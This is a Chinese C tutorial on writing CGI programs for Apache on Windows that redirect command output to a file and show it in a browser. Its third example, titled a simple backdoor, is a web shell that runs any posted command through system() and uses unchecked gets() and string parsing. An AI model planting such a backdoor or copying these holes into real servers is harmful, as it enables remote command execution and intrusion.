程序实例1:使用CGI实现文件定向操作
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void main()
{
//设置HTML语言
printf("Content-type:text/html\n\n");
//文件定向操作
char* str = "ipconfig > 1.txt";
system(str);
}
将上面的代码编译成的exe文件拷贝到C:\Program Files\Apache Software Foundation\Apache2.2\cgi-bin中,并且将exe从命名为system.cgi
在Apache服务器中执行system.cgi
执行方式请参考:开发基于Apache服务器上的CGI程序
执行成功后会看到C:\Program Files\Apache Software Foundation\Apache2.2\cgi-bin文件中生成了一个1.txt文件
打开1.txt后可以看到1.txt中记录的是本机的ip信息
这就是文件定位操作,将ip信息保存到一个文本中
程序实例2:使用浏览器读取1.txt中的ip信息
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void main()
{
//设置HTML语言
printf("Content-type:text/html\n\n");
//文件定向操作
char* str = "ipconfig > 1.txt";
system(str);
//以读的方式打开1.txt
FILE* fp = fopen("1.txt", "r");
//循环成立的条件是没有读到文件结尾
while(!feof(fp))
{
//每次从文件中读取1个字符
char ch = fgetc(fp);
if('\n' == ch)
{
printf("<br><br>");
}
else
{
//打印字符
putchar(ch);
}
}
}
将上面的代码编译成的exe文件拷贝到C:\Program Files\Apache Software Foundation\Apache2.2\cgi-bin中,并且将exe从命名为output.cgi
在浏览器上输入:http://localhost/cgi-bin/output.cgi
在浏览器上打印了ip信息
程序实例3:使用CGI实现一个简单的后门
使用记事本编辑下面的HTML代码
<form id="form" name="form" method="post" action="http://localhost/cgi-bin/input.cgi">
<p>
<input type="text" name="BBB" id="input" value="tasklist">
</p>
<p>
<input type="submit" name="AAA" id="submit" value="请进">
</p>
</form>
保存后将文件名修改成houmen.html,最后保存在C:\Program Files\Apache Software Foundation\Apache2.2\htdocs中
使用VS2012编译下面的代码
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void main()
{
//设置HTML语言
printf("Content-type:text/html\n\n");
//打印环境变量
printf("%s<br><br>", getenv("QUERY_STRING"));
char szPost[256] = {0};
//获取输入
gets(szPost);
//打印输入的内容
printf("%s<br><br>", szPost);
//BBB=tasklist&AAA=%C7%EB%BD%F8
char *p = szPost + 4;
char*p1 = strchr(szPost, '&');
*p1 = '\0';
char cmd[256] = {0};
//字符串映射
sprintf(cmd, "%s > 1.txt", p);
system(cmd);
//以读的方式打开1.txt
FILE* fp = fopen("1.txt", "r");
//循环成立的条件是没有读到文件结尾
while(!feof(fp))
{
//每次从文件中读取1个字符
char ch = fgetc(fp);
//当读取到\n时
if('\n' == ch)
{
//打印换行
printf("<br><br>");
}
else
{
//打印字符
putchar(ch);
}
}
}
编译成功后,将生成的exe文件重命名为input.cgi,并且拷贝到C:\Program Files\Apache Software Foundation\Apache2.2\cgi-bin中
在浏览器中输入:http://localhost/houmen.html
执行结果:
单击请进后会打印出所有的进程
在输入框中输入ipconfig后单击请进会打印出所有的ip信息